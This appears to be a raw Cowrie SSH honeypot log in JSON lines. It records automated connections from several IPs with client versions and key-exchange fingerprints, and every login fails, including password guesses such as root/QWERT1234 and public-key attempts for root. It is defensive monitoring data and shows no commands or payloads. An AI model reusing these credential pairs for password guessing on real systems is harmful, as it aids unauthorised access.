{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:24.441266Z","src_ip":"103.248.120.6","session":"17ff4b9fd1a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"htest","password":"htest","message":"login attempt [htest/htest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:25.369385Z","src_ip":"103.248.120.6","session":"17ff4b9fd1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:26.595780Z","src_ip":"103.248.120.6","session":"17ff4b9fd1a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":50056,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdccedc63ccb","protocol":"ssh","message":"New connection: 91.211.95.158:50056 (159.203.135.109:22) [session: fdccedc63ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:44.969814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:44.975726Z","src_ip":"91.211.95.158","session":"fdccedc63ccb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:45.123097Z","src_ip":"91.211.95.158","session":"fdccedc63ccb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blogg","password":"blogg123","message":"login attempt [blogg/blogg123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:45.754954Z","src_ip":"91.211.95.158","session":"fdccedc63ccb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:46.909017Z","src_ip":"91.211.95.158","session":"fdccedc63ccb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":34636,"dst_ip":"10.17.0.5","dst_port":22,"session":"6859999723b9","protocol":"ssh","message":"New connection: 111.238.174.6:34636 (10.17.0.5:22) [session: 6859999723b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:21.800927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:21.805008Z","src_ip":"111.238.174.6","session":"6859999723b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:21.986380Z","src_ip":"111.238.174.6","session":"6859999723b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"0","message":"login attempt [test/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:22.747574Z","src_ip":"111.238.174.6","session":"6859999723b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:23.926978Z","src_ip":"111.238.174.6","session":"6859999723b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":50302,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9d13b930234","protocol":"ssh","message":"New connection: 123.58.215.196:50302 (10.17.0.5:22) [session: e9d13b930234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:29.975506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:29.980973Z","src_ip":"123.58.215.196","session":"e9d13b930234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:30.199259Z","src_ip":"123.58.215.196","session":"e9d13b930234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERT1234","message":"login attempt [root/QWERT1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:31.108614Z","src_ip":"123.58.215.196","session":"e9d13b930234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:32.332965Z","src_ip":"123.58.215.196","session":"e9d13b930234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.142.28.77","src_port":52128,"dst_ip":"159.203.135.109","dst_port":22,"session":"a55f25a8d321","protocol":"ssh","message":"New connection: 192.142.28.77:52128 (159.203.135.109:22) [session: a55f25a8d321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:35.077917Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:35.168665Z","src_ip":"192.142.28.77","session":"a55f25a8d321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.184.67","src_port":56394,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f72487778f9","protocol":"ssh","message":"New connection: 186.233.184.67:56394 (10.17.0.5:22) [session: 7f72487778f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:35.830150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:35.834605Z","src_ip":"186.233.184.67","session":"7f72487778f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:35.873858Z","src_ip":"186.233.184.67","session":"7f72487778f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:99:2b:e0:00:1b:17:4a:44:23:e4:13:06:af:82:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDI/mpmzMSdlS05FpFzzAhDbgVZYhTn71WiRPPo7DnUS+piuj0rw1nnEChVBFOpA5Plgq0gX6GnqHGZLO3mEjtWHrv0KNV4isMWirEXPV/88pvDmZ3LNbJLF2VSaWLny04ozGEu9P199QJhwmfTRUmzBhEHexQC3VgK5wZhQCSkh2itBsYH/Xj1LaCwfeWMD/DmNllUzhMIN93hYDf93Diria4RjH6FAp5qWxjkbueeLvabttzIWxaf8oKEWqPTR80ODOeK9O5dWYYTbs08SEJoJ369wk8e6Wkgh0Kqdte4pkGRlJol903GjasAOnpK2Xv2Uwm84vPfAHngNySV5BxkW78n93p1+hGY5J/aOoS3SUHyJAFVroP6G4NE5QCO0IwYuOED8HzYyOm+XiDd/PjiVIvtQE3SqcfEqt8j7LHFrkR3XF8QjsJEe0TeWi/sPo4gKIEtQ5ArQiV6NeQ2VMVK4pjnrE+lvA8M5agfByIPTCjX99jnvpSPqVVx3+skhRWdVHyq9AuqUjfptLx3vRMD9Z6fTudEZ/l83qfKQ3ZTQG6htyfuLk3+NlPYFHil2qZHdxcRh327Y5Uanp22t0pnIpNYaUnkIg+CQ4LWa7XynqgBJ7xjV2LGiXFjG9df2YAh8Byd0uMmBfW12z6mpU2YhcEvc2SpMPRyycmErDDkLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:99:2b:e0:00:1b:17:4a:44:23:e4:13:06:af:82:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:36.045389Z","src_ip":"186.233.184.67","session":"7f72487778f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:99:2b:e0:00:1b:17:4a:44:23:e4:13:06:af:82:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDI/mpmzMSdlS05FpFzzAhDbgVZYhTn71WiRPPo7DnUS+piuj0rw1nnEChVBFOpA5Plgq0gX6GnqHGZLO3mEjtWHrv0KNV4isMWirEXPV/88pvDmZ3LNbJLF2VSaWLny04ozGEu9P199QJhwmfTRUmzBhEHexQC3VgK5wZhQCSkh2itBsYH/Xj1LaCwfeWMD/DmNllUzhMIN93hYDf93Diria4RjH6FAp5qWxjkbueeLvabttzIWxaf8oKEWqPTR80ODOeK9O5dWYYTbs08SEJoJ369wk8e6Wkgh0Kqdte4pkGRlJol903GjasAOnpK2Xv2Uwm84vPfAHngNySV5BxkW78n93p1+hGY5J/aOoS3SUHyJAFVroP6G4NE5QCO0IwYuOED8HzYyOm+XiDd/PjiVIvtQE3SqcfEqt8j7LHFrkR3XF8QjsJEe0TeWi/sPo4gKIEtQ5ArQiV6NeQ2VMVK4pjnrE+lvA8M5agfByIPTCjX99jnvpSPqVVx3+skhRWdVHyq9AuqUjfptLx3vRMD9Z6fTudEZ/l83qfKQ3ZTQG6htyfuLk3+NlPYFHil2qZHdxcRh327Y5Uanp22t0pnIpNYaUnkIg+CQ4LWa7XynqgBJ7xjV2LGiXFjG9df2YAh8Byd0uMmBfW12z6mpU2YhcEvc2SpMPRyycmErDDkLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:36.048845Z","src_ip":"186.233.184.67","session":"7f72487778f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:51:65:9d:ed:66:ee:32:a0:ec:3d:20:46:77:76:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHPd/c1DZ0vMRpBaoLiwkdJald5zT7kJyYXtwl7WW87yLmV3dG814BuR3N0Ze98xzpf7gmffF6OvhjYjjQXqqTupfFeqbw5bmGFwB8y0K6y8a0Anis11bpMF2pwVNj4gI8N8jQvLY6kU/JX8fdknOwIrtNfYHCr+sJarg9jjpR2qb6pnnRUg+5FcpUJc4g57tTCzxLDUUhiP3U1rqcj9tQsG1Fzq9PGPiFpWEi5HBkhLm3JD2Gpab7M/wQPjyKQ++z5KrVDdQYEgWLk4BwxlBFARgIh6zcn7YY8lgiU+8jbW714PFtAeu0eWRbXUQvfRdApdTHHIpeWJb+0+bh1hcV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:51:65:9d:ed:66:ee:32:a0:ec:3d:20:46:77:76:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:36.090404Z","src_ip":"186.233.184.67","session":"7f72487778f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:51:65:9d:ed:66:ee:32:a0:ec:3d:20:46:77:76:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHPd/c1DZ0vMRpBaoLiwkdJald5zT7kJyYXtwl7WW87yLmV3dG814BuR3N0Ze98xzpf7gmffF6OvhjYjjQXqqTupfFeqbw5bmGFwB8y0K6y8a0Anis11bpMF2pwVNj4gI8N8jQvLY6kU/JX8fdknOwIrtNfYHCr+sJarg9jjpR2qb6pnnRUg+5FcpUJc4g57tTCzxLDUUhiP3U1rqcj9tQsG1Fzq9PGPiFpWEi5HBkhLm3JD2Gpab7M/wQPjyKQ++z5KrVDdQYEgWLk4BwxlBFARgIh6zcn7YY8lgiU+8jbW714PFtAeu0eWRbXUQvfRdApdTHHIpeWJb+0+bh1hcV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:36.093651Z","src_ip":"186.233.184.67","session":"7f72487778f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:c6:83:0e:ca:f0:0b:9e:a4:bf:88:78:e9:d2:93:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvdxz8MH+tGeLDWTAsc5anKCF+0IxVTDLTBO2t4+cwxPKdrS1duF1479RnWIT1f1NnvMK87bQwZdmtuWus8l0Jg6ervMgTXsgBoNPx7l3iGlj5mvltv0kt5+J1zQBZkM7x7WMvyTrZPkpHQ/zZsCuETg77yT12Pk+gX6gCy4jxL2vfdF58F4lWNbpvsKSBNL8A4Xyt5KgTiWgnu9eXqvQv/1sH0xydwNvlSY+SkPriZYzm0xIaSgnzZE4GGdqzX6Zt8GuZw6sMn9uABfuaiMwSC3HDZ6G6GbwwFwMvsz1KUC+bMir990FVJ388ObbNDHQ5MkGOV69hSG7mi2YwF4vRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:c6:83:0e:ca:f0:0b:9e:a4:bf:88:78:e9:d2:93:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:36.134355Z","src_ip":"186.233.184.67","session":"7f72487778f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:c6:83:0e:ca:f0:0b:9e:a4:bf:88:78:e9:d2:93:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvdxz8MH+tGeLDWTAsc5anKCF+0IxVTDLTBO2t4+cwxPKdrS1duF1479RnWIT1f1NnvMK87bQwZdmtuWus8l0Jg6ervMgTXsgBoNPx7l3iGlj5mvltv0kt5+J1zQBZkM7x7WMvyTrZPkpHQ/zZsCuETg77yT12Pk+gX6gCy4jxL2vfdF58F4lWNbpvsKSBNL8A4Xyt5KgTiWgnu9eXqvQv/1sH0xydwNvlSY+SkPriZYzm0xIaSgnzZE4GGdqzX6Zt8GuZw6sMn9uABfuaiMwSC3HDZ6G6GbwwFwMvsz1KUC+bMir990FVJ388ObbNDHQ5MkGOV69hSG7mi2YwF4vRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:36.137377Z","src_ip":"186.233.184.67","session":"7f72487778f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:77:a9:62:66:4a:3d:f4:17:5d:d2:28:85:4e:fe:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6WVbKJvirdSbhXHFKUmGA8cJ5Vl5TL7RGuwIS9gARl4n+TzdFTttH36udQPJqiYoVCe4lycsV4759+FdWS+JR5KPovzdv+ZDFIlkEw6rZbjBhJWTiO+h2fnkeYoOIDcLZhZb3a8Gn5jVA3d4xSj6P/4yjYix0nqGZ4ssfTzx2YwYyDvmqQt9uVmGIhUUMM7o2ULfxECX7FbuduI4NkQ2nOS65CFvR/xY7AQ5SUIN584FKmjX4ZEg3/d5rnbvp8/sGn8tZQSXSfM2CCHm1PQxARotqBfRT/7OBQsKDKGcNqKTLjITqg546wepixYmLKsdc3IXGMcgu7ccf6Of6kaoXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:77:a9:62:66:4a:3d:f4:17:5d:d2:28:85:4e:fe:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:36.175772Z","src_ip":"186.233.184.67","session":"7f72487778f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:77:a9:62:66:4a:3d:f4:17:5d:d2:28:85:4e:fe:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6WVbKJvirdSbhXHFKUmGA8cJ5Vl5TL7RGuwIS9gARl4n+TzdFTttH36udQPJqiYoVCe4lycsV4759+FdWS+JR5KPovzdv+ZDFIlkEw6rZbjBhJWTiO+h2fnkeYoOIDcLZhZb3a8Gn5jVA3d4xSj6P/4yjYix0nqGZ4ssfTzx2YwYyDvmqQt9uVmGIhUUMM7o2ULfxECX7FbuduI4NkQ2nOS65CFvR/xY7AQ5SUIN584FKmjX4ZEg3/d5rnbvp8/sGn8tZQSXSfM2CCHm1PQxARotqBfRT/7OBQsKDKGcNqKTLjITqg546wepixYmLKsdc3IXGMcgu7ccf6Of6kaoXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:36.179183Z","src_ip":"186.233.184.67","session":"7f72487778f9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:57:d2:f1:64:33:aa:90:4f:7c:60:50:89:bf:dd:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2tqjCtSEsW/KAIxPCHxFhdAo36w81ezVLUSKvlEWJHEZDlqu6Km8n278ntnEHnMaSJ/ba4/URc4TafO5lee47WLCRqh267itjF8AgtaWEufdoMVqAT+smhNY8sjZDsGmCrmv8XWV6ttyHuxajJZHXIsKxXn4Hc977GJ+xaOlpnwes3Hd/OYB+LC88g8PYQObAfJDEVe9uWPDAsH9+PjXiBz1AU8UCqOTMEbHsID+PBVElNApxVrE4OuidF4vkPdYSG86RAvR4GTlJI019Wl3izbqQEcxUy3n5VZp5k1LZY8JOg+Ubht6e62qjTLdOV5CJSi6TbUDYUrkwqnb9yyqN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:57:d2:f1:64:33:aa:90:4f:7c:60:50:89:bf:dd:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:36.218934Z","src_ip":"186.233.184.67","session":"7f72487778f9","protocol":"ssh"}
